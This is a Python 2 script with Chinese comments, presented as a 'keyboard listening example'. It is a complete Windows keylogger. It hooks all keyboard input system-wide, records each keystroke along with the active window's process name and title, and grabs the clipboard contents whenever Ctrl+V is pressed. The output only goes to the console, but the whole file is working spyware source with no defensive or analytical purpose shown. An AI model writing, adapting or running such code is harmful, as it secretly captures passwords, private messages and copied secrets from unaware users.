jianting（键盘监听示例）.py

# -*- coding: utf-8 -*-  
from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
 
# 
def get_current_process():
 
    # 获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()
 
    # 获取进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))
 
    # 将进程ID存入变量中
    process_id = "%d" % pid.value
 
    # 申请内存
    executable = create_string_buffer("\x00"*512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
 
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
 
    # 读取窗口标题
    windows_title = create_string_buffer("\x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
 
    # 打印
    print
    print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
    print
 
    # 关闭handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
 
# 定义击键监听事件函数
def KeyStroke(event):
 
    global current_window
 
    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
    if event.WindowName != current_window:
        current_window = event.WindowName
        # 函数调用
        get_current_process()
 
    # 检测击键是否常规按键（非组合键等）
    if event.Ascii > 32 and event.Ascii <127:
        print "000",chr(event.Ascii),
    else:
        # 如果发现Ctrl+v（粘贴）事件，就把粘贴板内容记录下来
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "111[PASTE]-%s" % (pasted_value),
        else:
            print "222[%s]" % event.Key,
    # 循环监听下一个击键事件
    return True
 
# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
 
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()